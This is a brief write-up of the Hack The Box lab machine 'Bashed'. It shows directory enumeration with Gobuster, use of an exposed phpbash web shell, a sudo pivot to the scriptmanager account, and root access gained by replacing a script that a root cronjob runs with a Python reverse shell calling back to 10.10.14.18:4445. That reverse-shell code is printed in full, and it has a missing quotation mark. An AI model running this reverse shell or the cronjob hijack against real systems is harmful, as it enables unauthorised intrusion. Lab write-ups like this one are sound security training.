Bashed

less than 1 minute read

img

Port Scanning, General Enumeration and Access (Nmap, Gobuster)

Initial scan showed that the only port available is 80 (HTTP)

img

img

Looks like a pretty neat tool, but not a lot to go on.

gobuster dir -u http://10.10.10.68/ -w /dirs/small.txt -x php

img

/dev?

img

found the phpbash thing!

img

img


Privesc (php reverse shell, python, cronjobs)

We can upload files to the /uploads directory in the webroot

img

Let’s get a real shell

img

python3 -c 'import pty; pty.spawn("/bin/bash")'

img

Easy enough to switch to scriptmanager

sudo -u scriptmanager /bin/bash

There’s a scripts folder owned by scriptmanager

img

img

Interesting, the python script is ours but text file is owned by root?

img

I see, so the script runs and creates that file.

img

Moving the old test.txt to test.txt.bak and re-running the script we can see that the new test.txt is owned by us. That leads me to believe that something with root privs ran that prior. Maybe a cronjob? Let’s test

img

It’s back and with root privs!

Let’s give this boring old test.py some fangs.

import socket,subprocess,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.18,4445))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")

I created the new test.py on my machine and transferred it over. Started a listener and…

img

img